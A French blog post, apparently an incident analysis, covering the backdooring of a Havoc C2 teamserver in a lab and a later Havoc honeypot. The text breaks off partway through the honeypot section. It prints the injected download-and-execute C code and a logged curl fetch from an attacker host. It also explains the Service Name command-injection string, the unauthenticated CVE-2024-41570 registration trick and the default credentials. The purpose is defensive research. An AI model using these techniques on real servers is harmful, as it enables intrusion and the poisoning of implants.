Aller au contenu

Hackback your red team - or someone else will

·8073 mots·38 mins· loading · loading · ·
Sommaire

There is an english version of this article that you can find here.

Contexte
#

Il y a deux ans, j’ai entrepris d’analyser le comportement de plusieurs frameworks offensifs en environnement contrôlé, pour évaluer leur potentiel de compromission et leur discrétion. Mon choix s’est porté sur Havoc, un projet open source qui se présente comme un framework de post-exploitation moderne et modulable.

Pour rendre l’exercice plus réaliste, j’ai embarqué quelques amis et formé deux équipes : une “attaquante”, chargée de l’infrastructure offensive, et une défensive, responsable de la détonation et de la détection. Une Red Team et une Blue Team, composées de 2 personnes chacune.

En analysant les artefacts laissés par la détonation de l’agent Havoc, plusieurs détails se sont montrés pour le moins étonnants.

Cet article couvre deux investigations successives, d’abord ce lab contrôlé, où notre propre teamserver s’est révélé compromis ; puis un second teamserver délibérément exposé sur Internet pendant plusieurs semaines pour vérifier si le phénomène était isolé.

Il ne l’était pas.

Avertissement : dans la plupart des juridictions, compromettre un système informatique est illégal, y compris en réponse à une attaque (hackback). Cet article est publié à des fins strictement éducatives ; derrière ce titre quelque peu racoleur, je n’invite personne en aucun cas à enfreindre la loi en vigueur dans son pays. Toutes les manipulations décrites ici ont été réalisées en environnement contrôlé, avec l’ensemble des autorisations nécessaires et à des fins de recherche.

Assez parlé, rentrons dans le vif du sujet !

Havoc, comment ça marche ?
#

Après lecture de la documentation officielle et du README du projet, voici ce qu’il faut retenir pour comprendre la suite de cet article.

L’architecture de Havoc repose sur trois composants principaux :

  • Le Teamserver (Go) : la pièce centrale du dispositif. Il gère la création des agents, la configuration des listeners et la coordination des opérations.
  • Le Client (Qt/C++) : l’interface graphique utilisée par les opérateurs pour interagir avec le teamserver. C’est depuis ce client que l’on génère les payloads, lance les commandes sur les machines compromises, etc.
  • Le Demon (C / ASM) : l’agent déployé sur la machine victime. Il maintient la communication avec le teamserver et exécute les commandes reçues.

Havoc Architecture

Un point important pour la suite : la génération des agents est réalisée côté teamserver. Quand un opérateur demande un nouveau payload depuis le client, c’est le teamserver qui compile le binaire.

Le code responsable se trouve dans teamserver/pkg/common/builder/builder.go. Le teamserver assemble la commande de compilation à partir des paramètres choisis par l’opérateur (architecture, type d’injection, sleep technique, etc.) et l’exécute via exec.Command("sh", "-c", <command>). La plupart de ces paramètres ne touchent pas la commande shell, ils sont écrits directement dans la configuration du binaire compilé. Ceux qui y sont injectés (sous forme de -D DEFINE=value) sont validés par allowlist ou conversion typée, à une exception près, sur laquelle on reviendra.

La configuration par défaut du teamserver crée deux comptes, 5pider et Neo, tous deux avec le mot de passe password1234. Le teamserver écoute par défaut sur 0.0.0.0:40056, et un endpoint de Service API est configuré avec des identifiants tout aussi faibles (service-endpoint / service-password). Bien que cela puisse paraître évident, la documentation officielle du projet ne précise pas explicitement qu’il faut changer ces identifiants.

Premier acte : détonation initiale et analyse
#

Mise en place et premiers tests
#

Une fois l’infrastructure en place (teamserver compilé et lancé sur une machine Linux, client connecté), la Red Team a généré un premier Demon le 08/11/24 et l’a exécuté sur la machine Windows cible.

Ce premier agent s’est comporté exactement comme attendu : communications HTTPS régulières vers le teamserver, prise de main par l’opérateur, exécution de commandes depuis le client. Pour le moment, rien d’anormal.

De mon côté, l’objectif était d’observer le comportement de l’agent sur la machine victime, ses communications réseau et les artefacts qu’il laissait derrière lui, pour en tirer des marqueurs de détection.

La seconde détonation
#

Lors d’une seconde détonation (le 19/12/24, puis reproduite le 03/01/25 pour tenter de comprendre le problème), le comportement du demon a commencé à changer. Il communiquait toujours avec son C2 comme prévu, mais cette fois il déposait un autre fichier dans C:\Windows\temp : torproject.exe.

  • SHA256 : dbc4afe6b9291e6d4eb0bccb60d2e966965ad482d60007599089e358c61940c2
  • URL de téléchargement : update[.]torproject[.]cloud/updates

Ce fichier n’avait pas été généré par notre teamserver et ce comportement ne correspondait à aucune fonctionnalité documentée d’Havoc.

Décomposition de la chaîne d’infection
#

L’analyse a permis de reconstituer la chaîne complète :

Infection Chain

L’analyse YARA a permis d’identifier les deux familles en présence :

  • torproject.exe correspond à un Donut Loader, packé avec UPX. D’après le rapport global de la menace 2024 d’Elastic, Donut Loader représentait 6,62 % des infections observées sur l’année.
  • openvpnssl.exe correspond à un Agent Apollo, l’implant Windows écrit en C# .NET 4.0 conçu pour le framework Mythic par SpecterOps.

Le loader télécharge l’agent et son fichier de configuration, puis lance Apollo avec la commande :

"C:\Users\%username%\AppData\Local\Sysinternals\openvpnssl.exe" --localconfig C:\Users\%username%\AppData\Local\Sysinternals\config.ini

Une fois openvpnssl.exe lancé, torproject.exe met fin à son exécution.

Le fichier config.ini est chiffré et sans surprise déchiffré en mémoire par openvpnssl.exe à l’exécution. Une tentative de récupération de la clé via un dump mémoire du processus n’a rien donné.

L’agent Apollo communique en HTTPS vers 188[.]114[.]96[.]2, qui est un proxy Cloudflare. L’infrastructure réelle du C2 est masquée derrière celui-ci, ce qui rend l’attribution et la caractérisation de l’attaquant nettement plus compliquées.

Les techniques de masquerading
#

Plusieurs choix de l’attaquant méritent d’être soulignés. Les noms de binaires ne sont pas anodins :

  • torproject.exe (qui n’a rien à voir avec le projet Tor) imite une mise à jour de Tor Browser. Le domaine update[.]torproject[.]cloud joue sur la même corde.
  • openvpnssl.exe usurpe le nom d’un client VPN.
  • L’agent Apollo est placé dans %USERPROFILE%\AppData\Local\Sysinternals, un répertoire dont le nom laisse sous-entendre qu’il s’agit de la suite d’outils Microsoft Sysinternals.

Tout ça relève du T1036 Masquerading. L’attaquant cherche à faire passer ses artefacts pour des éléments légitimes du système.

À ce stade, plusieurs hypothèses restaient ouvertes : une backdoor introduite volontairement par le développeur du projet, une compromission supply chain du dépôt GitHub, ou l’exploitation d’une vulnérabilité sur notre teamserver.

Investigation : que s’est-il réellement passé sur le teamserver ?
#

Une corrélation simple
#

Avant de plonger dans le code, le premier demon généré le 08/11/24 était sain. Tous les demons générés après cette date intégraient le téléchargement du loader. Quelque chose a donc été modifié sur notre teamserver entre les deux générations.

Pour confirmer, j’ai monté un nouvel environnement isolé avec un teamserver fraîchement compilé. La détonation d’un demon généré depuis ce serveur n’a montré aucun signe de compromission. La piste pointait vers notre première instance.

Analyse du code source
#

Le projet ayant été cloné depuis GitHub et l’attaquant n’ayant pas pris la peine de supprimer le répertoire .git, la comparaison a été rapide. Un simple git status à la racine du projet :

$ git status
On branch main
Your branch is up to date with 'origin/main'.

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        modified:   payloads/Demon/src/Demon.c
        modified:   profiles/havoc.yaotl
        modified:   teamserver/go.mod
        modified:   teamserver/go.sum

Untracked files:
  (use "git add <file>..." to include in what will be committed)
        payloads/Demon/include/core/Transports.h
        payloads/Demon/src/core/Transports.c

no changes added to commit (use "git add" and/or "git commit -a")

Toutes les modifications ne sont pas malveillantes. Tri rapide :

  • profiles/havoc.yaotl : l’IP du listener a été ajoutée par le teamserver lui-même au moment de la configuration. Légitime.
  • teamserver/go.mod et teamserver/go.sum : l’ajout du module github.com/ugorji/go v1.2.12 correspond à une dépendance installée par la Red Team (go mod download) lors de l’installation initiale. Légitime également.
  • payloads/Demon/src/Demon.c + les deux fichiers non suivis Transports.h et Transports.c : c’est ici que l’investigation devient intéressante.

Modification de Demon.c
#

Dans les headers du fichier Demon.c, une ligne a été ajoutée :

/* Import Core Headers */
#include <core/Transport.h>
#include <core/Transports.h>   // <-- AJOUTÉ
#include <core/SleepObf.h>
#include <core/Win32.h>
#include <core/MiniStd.h>
#include <core/SysNative.h>
#include <core/Runtime.h>

Le projet contient déjà un fichier légitime core/Transport.h (singulier). L’attaquant a créé core/Transports.h (avec un “s”) pour que l’inclusion passe inaperçue - T1036.005 Match Legitimate Name or Location.

Plus loin, dans la fonction DemonMain :

VOID DemonMain( PVOID ModuleInst, PRAYN_ARGS KArgs )
{
    INSTANCE Inst = { 0 };
    Instance = & Inst;

    /* Initialize Win32 API, Load Modules and Syscalls stubs */
    DemonInit( ModuleInst, KArgs );

    /* Initialize MetaData */
    DemonMetaData( &Instance->MetaData, TRUE );

    DemonEx();    // <-- AJOUTÉ

    /* Main demon routine */
    DemonRoutine();
}

Un appel à DemonEx() a été inséré entre l’initialisation et la routine principale du demon. La fonction est déclarée dans le nouveau header Transports.h :

#ifndef DEMON_TRANSPORTS_H
#define DEMON_TRANSPORTS_H

void DemonEx();

#endif

Le code malveillant : Transports.c
#

Le cœur de l’injection est dans payloads/Demon/src/core/Transports.c. Le code n’est pas obfusqué, au contraire, il est commenté.

BOOL DownloadFile(LPCWSTR file_path) {
    [...]
    // Step 1: Initialize WinHTTP session
    hSession = Instance->Win32.WinHttpOpen(
        L"WinHTTP Example/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        0);

    if (!hSession) {
        PRINTF(L"WinHttpOpen failed");
        goto cleanup;
    }

    // Step 2: Parse URL and connect to server
    LPCWSTR hostName = L"update[.]torproject[.]cloud";
    LPCWSTR path = L"/updates";
    [...]
}

int ExecuteProcess(const wchar_t *exePath) {
    STARTUPINFOW si = {sizeof(STARTUPINFOW)};
    PROCESS_INFORMATION pi;
    BOOL bSuccess = FALSE;
    bSuccess = Instance->Win32.CreateProcessW(exePath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    return bSuccess;
}

int DemonEx() {
    LPCWSTR file_path = L"C:\\Windows\\temp\\torproject.exe";
    const wchar_t *exePath = L"C:\\Windows\\temp\\torproject.exe";

    if (DownloadFile(file_path)) {
        ExecuteProcess(exePath);
        PRINTF(L"Download completed successfully.\n");
    } else {
        PRINTF(L"Download failed.\n");
    }
    return 0;
}

Le domaine update[.]torproject[.]cloud est volontairement défangé ici. Les crochets ne sont évidemment pas présents dans le code original.

Trois fonctions, un comportement simple : DownloadFile() télécharge le loader depuis le domaine de l’attaquant, ExecuteProcess() l’exécute, DemonEx() enchaîne les deux. La décomposition en étapes numérotées (Step 1, Step 2…), les commentaires explicatifs, le nommage très “tutoriel” : le style est fortement compatible avec du code généré ou lourdement assisté par un LLM, sans qu’on puisse l’établir avec certitude.

Activité sur le teamserver
#

La liste des agents enregistrés sur le teamserver confirme la compromission. Deux demons y figurent, qu’aucun de nous n’avait détonné :

HostnameOSInternalIPExternalIPFirstCallin
67za5au5Windows 10 32-bit10.66.85.174146[.]70[.]116[.]19508/11/2024 12:22
snf833vrWindows Server 2008 R210.250.102.130146[.]70[.]116[.]19509/11/2024 12:29

Les hostnames, usernames et noms de domaine semblent générés aléatoirement. L’IP externe 146[.]70[.]116[.]195 a probablement été manipulée par l’attaquant pour brouiller les pistes. Le premier agent suspect est apparu 2 jours après la mise en place du serveur, le second 3 jours après.

Ces agents fictifs se sont avérés être la signature d’une exploitation, mais je ne l’ai compris qu’après coup, en analysant le honeypot décrit plus loin, dont les journaux portaient la preuve en clair. L’identification est donc rétrospective.

Petite précision, sur ce premier lab, la supervision se limitait à la machine victime. Le teamserver, lui, n’était pas monitoré. Il était monté pour générer des agents, pas pour l’observer. Aucun journal ne permet donc de dire quand l’attaquant s’y est connecté, ni quelles commandes il y a exécutées. Seuls les artefacts disque, le code modifié et les deux agents fantômes, attestent de son passage.

C’est précisément ce manque qui a motivé la suite de cette recherche. Sur le honeypot décrit plus bas, j’ai configuré un monitoring sur le teamserver lui-même (auditd, Snoopy, capture réseau complète) et la même attaque y devient parfaitement lisible. Voici donc quelques logs provenant du honeypot pour illustrer :

03:06:02.319  uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
              /usr/bin/nasm -f win64 src/asm/Spoof.x64.asm   -o /tmp/df5fe3e6e6/8a2230c9af.o
03:06:02.321  uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
              /usr/bin/nasm -f win64 src/asm/Syscall.x64.asm -o /tmp/df5fe3e6e6/cea771c8aa.o
03:06:02.323  uid=1000 sid=26100 tty=none cwd=/home/maintainer/Havoc/payloads/Demon
              curl -v -k http://132[.]145[.]17[.]167:9090/K7iSiFCfpG/cache3 -o /tmp/cache2

Le curl de l’attaquant s’exécute entre deux étapes légitimes de compilation, avec le même répertoire de travail et le même identifiant de session que le builder. C’est la signature de l’injection dans le champ Service Name : la commande est exécutée par le sh -c de builder.go, au beau milieu de la génération d’un agent.

Les mêmes journaux ont livré la séquence de persistance complète, minute par minute, ainsi que l’installation d’une clé SSH. On y viendra.

Recherche de vulnérabilités connues
#

Écarter l’hypothèse supply chain
#

Avant de chercher des CVE, j’ai envisagé les hypothèses les plus simples. Havoc est un projet open source, initialement développé comme projet étudiant. Une backdoor introduite par le développeur ou une compromission du dépôt GitHub restaient à écarter.

Les derniers commits sur la branche main n’impliquaient pas de changements majeurs, ni de modifications de dépendances. Le seul commit récent (28/11/24) ajoutait un sponsor au README.md (retiré depuis). Pour vérifier, la comparaison a été refaite sur un commit identique à celui utilisé pour l’installation initiale.

Verdict : le code officiel est sain. La compromission a eu lieu uniquement sur notre instance, après déploiement.

Deux vulnérabilités, une chaîne d’exploitation
#

En cherchant si Havoc présentait des vulnérabilités connues, je suis tombé sur deux articles qui décrivaient exactement le type d’attaque que je venais d’observer.

SSRF - Server Side Request Forgery
#

La première vulnérabilité a été découverte par Chebuya et documentée dans cet article. Un PoC est disponible sur son GitHub.

Le principe : usurper l’enregistrement d’un Demon auprès du teamserver pour ouvrir une socket TCP depuis celui-ci, et ainsi interagir avec des services internes ou encore, révéler l’adresse IP réelle du teamserver lorsque celui-ci est placé derrière un redirecteur.

Cette vulnérabilité est exploitable sans aucune authentification. Elle a été référencée sous le CVE CVE-2024-41570 avec un score CVSS de 9.8.

Le mécanisme est plus puissant qu’une SSRF classique. Le protocole d’enregistrement d’un Demon utilise un format binaire : 4 octets pour la taille, 4 octets pour la valeur magique 0xDEADBEEF, 4 octets pour l’identifiant de l’agent, suivis du Command ID, du Request ID, puis, spécifiquement pour l’enregistrement initial (DEMON_INIT, commande 99), de la clé AES-CTR (32 octets) et de l’IV (16 octets), et enfin du payload chiffré. Cette clé et cet IV sont choisis entièrement par le client. Aucun secret partagé, aucun challenge-response. Un attaquant peut donc enregistrer un faux Demon avec une clé connue (par exemple des octets nuls) et déchiffrer tous les échanges suivants, puisque la même clé est réutilisée pour toute la session.

Structure du paquet DEMON_INIT : la clé AES est fournie par le client, sans secret partagé

La clé AES voyage dans le paquet que le client construit lui-même. Le PoC public la fixe à zéro, et l’enregistrement frauduleux ressort dans le journal du teamserver avec la mention No Aes Key specified.

La faille se situe dans la fonction IsKnownRequestID de teamserver/pkg/agent/agent.go. Pour deux commandes, COMMAND_SOCKET et COMMAND_PIVOT, elle renvoie inconditionnellement true, sans vérifier qu’un opérateur les a réellement demandées. Un troisième cas conditionnel existe (BEACON_OUTPUT quand la journalisation étendue est activée), sans conséquence pour l’exploitation. Le raisonnement des auteurs est visible dans le code : ces commandes n’obéissent pas au schéma “tâche puis réponse”, donc les corréler à une tâche préalable est impossible. Sauf qu’aucun autre contrôle ne prend le relais. Parmi les sous-commandes de COMMAND_SOCKET, SOCKET_COMMAND_OPEN enregistre une cible IP et port fournis par l’attaquant, puis toute donnée envoyée ensuite via SOCKET_COMMAND_READ déclenche l’ouverture effective de la connexion TCP depuis le teamserver. Ce n’est pas une SSRF aveugle limitée à HTTP : c’est un proxy TCP, qui permet entre autres de se connecter en WebSocket au port de management du teamserver lui-même.

RCE authentifiée - Injection de commande
#

La seconde vulnérabilité a été identifiée par Laurence Tennant (Include Security) dans cet article. Un PoC est également disponible sur GitHub.

Le mécanisme : lorsqu’un opérateur demande la génération d’un agent depuis le client, le teamserver compile le binaire via un appel à sh -c. La plupart des paramètres fournis par le client sont correctement filtrés, à l’exception du champ “Service Name”, qui est injecté tel quel dans la commande de compilation. Il est donc possible d’y insérer une commande arbitraire qui sera exécutée sur le serveur.

Le payload d’injection décrit dans le PoC ressemble à : " -mbla; CMD 1>&2 && false #. Le guillemet échappé casse le contexte de la chaîne dans la commande sh -c ; -mbla est une option invalide qui force MinGW à échouer immédiatement (pour ne pas attendre la fin d’une compilation) ; le point-virgule introduit la commande arbitraire avec redirection de stdout vers stderr ; && false garantit un code retour en erreur pour que le teamserver remonte le contenu de stderr (qui contient la sortie de la commande) dans l’interface Havoc ; et # commente le reste de la ligne.

Ce n’est pas la seule forme possible, plusieurs variantes syntaxiquement distinctes ont été employées, ce qui en fait au passage un discriminant d’attribution assez pertinent. Le résultat est un pseudo-shell interactif exécutant des commandes avec les privilèges du processus teamserver. Celui-ci tourne souvent en root, pour pouvoir lier les ports 80/443 des listeners. C’est fréquent, mais ce n’est pas une fatalité : sur le honeypot dont il sera question plus bas, il tournait sous un compte non privilégié, et ça a suffi à faire échouer la persistance de l’un des attaquants.

Cette vulnérabilité nécessite un accès authentifié au teamserver. Sauf que, comme mentionné plus haut, la configuration par défaut de Havoc crée deux utilisateurs avec le mot de passe password1234.

Aucun CVE officiel n’a été attribué à cette vulnérabilité. Sur la base de ses caractéristiques (RCE distante, authentification requise avec des creds par défaut, impact maximal sur la confidentialité, l’intégrité et la disponibilité), un score CVSS 3.1 estimé tourne autour de 8.8 (vecteur CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). Le choix de PR:L reflète l’exigence formelle d’authentification ; en pratique, avec les identifiants par défaut inchangés, la vulnérabilité se comporte comme un PR:N (score équivalent 9.8). Avec l’archivage du dépôt GitHub en février 2026, le statut de remédiation est RL:U (Unavailable) : le projet dans l’état reste sans patch, une correction majeure sur la branche de réécriture ou dans un fork reste théoriquement possible mais n’existe pas au moment où j’écris.

Ce qui s’est probablement passé dans mon cas
#

Dans ce lab, l’adresse IP du teamserver n’était pas masquée par un redirecteur. L’attaquant n’a donc probablement pas eu besoin de la SSRF pour localiser le serveur : un simple scan suffisait.

C’est une nuance qui a son importance, et le honeypot l’a confirmée par la suite : la CVE-2024-41570 y a bel et bien été exploitée, mais uniquement pour son stage 1, l’enregistrement du faux Demon. Le proxy TCP, la partie spectaculaire de la vulnérabilité, n’apportait rien de plus dès lors que le port 40056 était directement joignable. La SSRF est donc moins “l’étape 1 obligatoire du chaînage” que le maillon qui devient indispensable quand le teamserver est correctement protégé.

En revanche, les identifiants des comptes 5pider et Neo sont restés ceux par défaut. L’exploitation de la RCE devenait triviale : connexion au teamserver avec les creds par défaut, injection de commande via le champ “Service Name”, obtention d’un shell, et modification du code de génération des agents pour y intégrer l’implant Apollo.

Le scénario complet, dans le cas où le teamserver aurait été derrière un redirecteur, aurait pu ressembler à ceci :

CVE-2024-41570 Exploitation

Plusieurs dépôts publics sur GitHub (sebr-dev, Nicolas-Arsenault, thisisveryfunny) chaînent la SSRF et la RCE authentifiée en un seul script : la SSRF ouvre un WebSocket vers le port 40056, s’authentifie avec les identifiants par défaut, et déclenche l’injection via le champ Service Name. L’attaque est entièrement automatisée et non authentifiée dès lors que les identifiants par défaut sont en place.

Diagramme de séquence du chaînage SSRF → RCE : DEMON_INIT + SOCKET_OPEN, tunnel WebSocket vers le port 40056, authentification, injection Service Name

La SSRF ouvre un tunnel vers le WebSocket en loopback, les identifiants par défaut débloquent l’authentification à travers ce tunnel, et l’injection Service Name transforme l’ensemble en RCE non authentifiée.

L’attaque est discrète et offre un effet de levier intéressant : l’attaquant compromet une seule machine (le teamserver) et obtient un accès sur toutes les futures victimes de l’opérateur qui utilise ce teamserver, sans jamais les cibler directement.

Pour mesurer ce que cela représente à l’échelle d’Internet, j’ai interrogé deux moteurs de recherche d’exposition en août 2026 :

MoteurRequêteRésultats
Shodanx-havoc = true30
Censyshost.services.endpoints.http.headers.key:"X-Havoc"32

La convergence donne confiance dans le résultat.

Reste à lire ce qu’il mesure. Le header X-Havoc est présent par défaut, laissé par l’auteur du framework pour limiter les usages malveillants selon plusieurs blogs — sans que le dépôt ne l’atteste formellement — sauf que n’importe quel opérateur peut le retirer en éditant son profil. Ces trente instances ne sont donc pas la population des teamservers Havoc exposés mais ceux dont l’opérateur n’a pas changé le header (et donc éventuellement, laissé les identifiants par défaut).

L’écart avec d’autres méthodes de comptage est parlant. Une recherche par les champs du certificat TLS (qui attrape aussi les instances ayant supprimé l’en-tête mais conservé la génération de certificat par défaut) relevait 238 IP en mars 2024. Les deux chiffres ne sont pas directement comparables, ni par la date ni par la méthode. Mais ils disent la même chose : le nombre qu’on obtient dépend surtout du degré de négligence qu’on accepte de compter.

Le honeypot décrit plus bas en aurait fait partie. Son certificat portait un commonName au format IP, un code postal et une organisation tirée de la liste par défaut, soit le motif exact que cherche cette seconde méthode.

Mise à jour : le 20 février 2026, l’organisation HavocFramework sur GitHub a été archivée. Tous les dépôts sont passés en lecture seule, avec 115 issues ouvertes et 19 pull requests non fusionnées. La RCE authentifiée ne sera donc pas corrigée sur la branche principale dont le statut de remédiation reste RL:U (Unavailable) pour tout déploiement basé sur main. Une correction reste théoriquement possible sur la branche de réécriture ou dans un fork, mais elle n’existe pas au moment où j’écris. Havoc reste disponible dans les dépôts Kali Linux, en version 0.7.

Activité de l’attaquant sur la machine “victime”
#

Reste un dernier angle à creuser : qu’a fait l’attaquant une fois sur la machine victime ?

Phase de reconnaissance et tentative de latéralisation
#

Plus d’1h30 après la détonation du demon initial, plusieurs commandes ont été lancées sur la machine victime via l’agent Apollo. La chronologie a pu être reconstituée à partir des logs Sysmon Event ID 1 (Process Create) et Windows Security Event 4688 (audit de création de processus), tous deux configurés pour journaliser la ligne de commande complète. La clé de registre BAM (HKLM\SYSTEM\ControlSet001\Services\bam\State\UserSettings\<SID>) a permis de confirmer l’exécution des binaires côté artefact disque, mais sans accès aux arguments, elle reste un complément utile en post-mortem.

Horodatage (UTC)CommandeType d’activité
11:00:30curl ifconfig.meReconnaissance
11:03:10net useReconnaissance
11:07:40dir \\172.16.1.3\c$Latéralisation - Reconnaissance
11:08:22dir \\172.16.1.3\c$\UsersLatéralisation - Reconnaissance
11:08:50dir \\172.16.1.3\c$\Users\AdministratorLatéralisation - Reconnaissance
11:09:20dir \\172.16.1.3\c$\Users\Administrator\DesktopLatéralisation - Reconnaissance
11:09:30dir \\172.16.1.3\c$\Users\Administrator\DownloadLatéralisation - Reconnaissance
11:37:51systeminfoReconnaissance

Le décalage temporel entre les commandes (quelques secondes ou minutes) suggère une intervention manuelle de l’attaquant plutôt qu’un script automatisé.

L’objectif : reconnaissance locale, puis énumération du Windows Server voisin (172.16.1.3) en vue d’une latéralisation. N’ayant rien trouvé d’intéressant côté serveur, l’attaquant a abandonné cette piste.

Tentative de persistance
#

Juste avant que le lab ne soit éteint, l’attaquant a réécrit le binaire du demon dans C:\Windows\temp sous le nom 1.exe. Les hashes correspondent à ceux du demon initial, donc à un demon compromis qui retéléchargera le loader au prochain lancement. Deux hypothèses : soit l’attaquant prévoyait de réexécuter la chaîne d’infection depuis le départ (au cas où l’agent Apollo serait perdu), soit il préparait un mécanisme de persistance.

TTPs observés
#

L’ensemble du cycle, depuis l’exploitation du teamserver jusqu’à la phase post-exploitation, peut être cartographié sur la matrice MITRE ATT&CK :

TTPTechniqueObservation
T1190Exploit Public-Facing ApplicationExploitation SSRF + RCE sur le teamserver Havoc exposé
T1195.002Compromise Software Supply ChainModification du code de génération : chaque Demon compilé après la compromission embarque le loader
T1105Ingress Tool TransferTéléchargement de torproject.exe par le Demon, puis d’Apollo et de sa config par le loader
T1027.002Software Packingtorproject.exe packé avec UPX
T1036.005Match Legitimate Name or LocationNoms de binaires (torproject.exe, openvpnssl.exe) et chemin (%LOCALAPPDATA%\Sysinternals) imitant des éléments légitimes
T1140Deobfuscate/Decode Filesconfig.ini chiffré, déchiffré en mémoire par Apollo à l’exécution
T1059.003Windows Command ShellCommandes de reconnaissance et de latéralisation lancées via cmd.exe
T1016System Network Configuration Discoverycurl ifconfig.me (IP publique)
T1082System Information Discoverysysteminfo
T1135Network Share Discoverynet use (partages réseau) et énumération de partages via \\172.16.1.3\c$ et sous-répertoires
T1071.001Application Layer Protocol: Web ProtocolsCommunications HTTPS entre Apollo et son C2 via Cloudflare

IOC de la première compromission
#

Voici les IOC collectés au cours de cette première investigation. Ils sont propres à ce cas : le domaine torproject[.]cloud, en particulier, est totalement absent du honeypot décrit plus loin, dont les domaines et les charges sont entièrement distincts. Les deux jeux d’indicateurs ne doivent pas être mélangés. La seule coïncidence notable est que les ExternIP déclarées par les faux agents des deux cas tombent dans la même plage 146[.]70[.]116[.]0/24, un pool VPN commercial (Mullvad) partagé par des milliers d’utilisateurs. Aussi, les IP correspondent aux nœuds Cloudflare qui frontent le C2 réel. Les hashes, chemins et domaines sont en revanche directement exploitables.

IOC fichier
#

TypeValeurContexte
SHA256dbc4afe6b9291e6d4eb0bccb60d2e966965ad482d60007599089e358c61940c2Donut Loader (torproject.exe)
FamilleDonut LoaderLoader open-source en mémoire (VBScript, JScript, EXE, DLL, .NET)
FamilleApollo (Mythic)Agent C# .NET 4.0 SpecterOps
CheminC:\Windows\temp\torproject.exeDépôt initial du loader
Chemin%LOCALAPPDATA%\Sysinternals\openvpnssl.exeAgent Apollo déployé
Chemin%LOCALAPPDATA%\Sysinternals\config.iniConfiguration Apollo chiffrée
CheminC:\Windows\temp\1.exeRéécriture du demon Havoc (persistance/réinfection)

IOC réseau
#

TypeValeurContexte
URLhttps://update[.]torproject[.]cloud/updatesURL de téléchargement du loader
Domaineupdate[.]torproject[.]cloudDomaine attaquant masquant Cloudflare Lien VT
IP188[.]114[.]96[.]2Proxy Cloudflare (C2 Apollo)
IP104[.]21[.]25[.]86, 172[.]67[.]133[.]228Proxies Cloudflare (résolution update[.]torproject[.]cloud)
IP146[.]70[.]116[.]195ExternalIP des agents suspects sur le teamserver (probablement usurpée)

Modifications du code source Havoc
#

FichierType de modification
payloads/Demon/src/Demon.cAjout de #include <core/Transports.h> et appel à DemonEx() dans DemonMain()
payloads/Demon/include/core/Transports.hNouveau fichier : déclaration de DemonEx()
payloads/Demon/src/core/Transports.cNouveau fichier : code de téléchargement et d’exécution du loader

Deuxième acte : création d’un honeypot
#

Pour vérifier l’hypothèse d’une exploitation automatisée par des acteurs opportunistes, j’ai exposé un second teamserver Havoc, volontairement vulnérable, sur Internet. La première compromission a eu lieu moins de 24 heures après l’exposition, confirmant que ces vulnérabilités étaient activement scannées et exploitées.

Ça, c’était l’hypothèse de départ, et elle est validée. Mais en dépouillant six semaines de journaux, je me suis rendu compte que le plus intéressant était ailleurs :

Plusieurs acteurs indépendants se sont succédé sur la même machine. Le second a manipulé la charge déposée par le premier. Le troisième a interrogé, quelques jours plus tard, un faux agent laissé par le second, et n’a jamais obtenu de réponse.

Le dispositif
#

Havoc 0.7 “Bites The Dust”, cloné le 12/01/25 depuis le dépôt officiel (commit 41a5d45c…), lancé tel quel le 16/01. Identifiants par défaut intacts, ports 22, 443 et 40056 exposés sur une IP publique OVH (178[.]32[.]113[.]93), listener TestHTTPS en écoute. Bref, exactement la configuration que je viens de passer un article à déconseiller.

Côté supervision : auditd et Snoopy sur le teamserver, Suricata et le filterlog du pfSense en amont, le tout remonté dans un Wazuh, plus une capture réseau complète du 17 au 21 janvier. La machine est exposée sur Internet dès le 09/01 (préparation, configuration), Havoc entre en scène le 16/01, la première activité hostile arrive le 17/01, et la collecte se poursuit jusqu’au 23/02, soit 4,17 millions de paquets et 46 jours d’alertes.

Dernier point, qui aura son importance : le teamserver tournait sous un compte non privilégié.

Acte I : l’enregistrement fantôme (17 janvier)
#

12:24:14. Un Demon s’enregistre sur le listener. Personne ne l’a généré.

ChampValeur observéePourquoi c’est impossible
Clé AESNo Aes Key specifiedUn agent qui s’enregistre sans clé de chiffrement est anormal par construction
SleepJitter299Un jitter est un pourcentage. Toute valeur > 100 n’a pas de sens
SleepDelay74889 (20,8 h)Hors de toute plage opérationnelle
Hostname / User / Domainlu1y57ry / ewpuqu / EWQGXNZQHNITChaînes aléatoires
Agent ID32d94782

C’est la signature de la CVE-2024-41570, en clair, dans le journal du teamserver. La clé AES est fournie par le client lors du DEMON_INIT, sans secret partagé ; le PoC public la met tout simplement à zéro.

Détail amusant : une première tentative, une seconde plus tôt, avait été rejetée pour User-Agent invalide. L’outil a corrigé son UA et a réussi dans la foulée. Le contrôle d’User-Agent de Havoc n’arrête que l’outillage négligent.

Le journal du teamserver, brut :

[12:24:13] [WARN] got a request with an invalid user agent: Mozilla/5.0 (Windows NT 6.1)
           AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36

[12:24:14] [DBUG] [handlers.handleDemonAgent:262]: Agent does not exists. hope this is a register request
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:404]: Parsed DemonID: 32d94782
[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:412]: AgentID (32d94782) == DemonID (32d94782)

[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:424]:
Hostname: lu1y57ry
Username: ewpuqu
Domain  : EWQGXNZQHNIT
InternIP: 10.144.66.243
ExternIP: 146[.]70[.]116[.]227

[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:441]:
ProcessName : explorer.exe
ProcessPID  : 5546
ProcessTID  : 1440
ProcessPPID : 3337
ProcessArch : 1
Elevated    : 1
Base Address: 0x400000

[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:459]:
SleepDelay  : 74889
SleepJitter : 299

[12:24:14] [DBUG] [agent.ParseDemonRegisterRequest:594]: Finished parsing demon
[12:24:14] [DBUG] [packer.(*Packer).Build:87]: No Aes Key specified
[12:24:14] [DBUG] [handlers.handleDemonAgent:295]: Finished request

Enregistrement du faux Demon 32d94782 dans le journal du teamserver Havoc

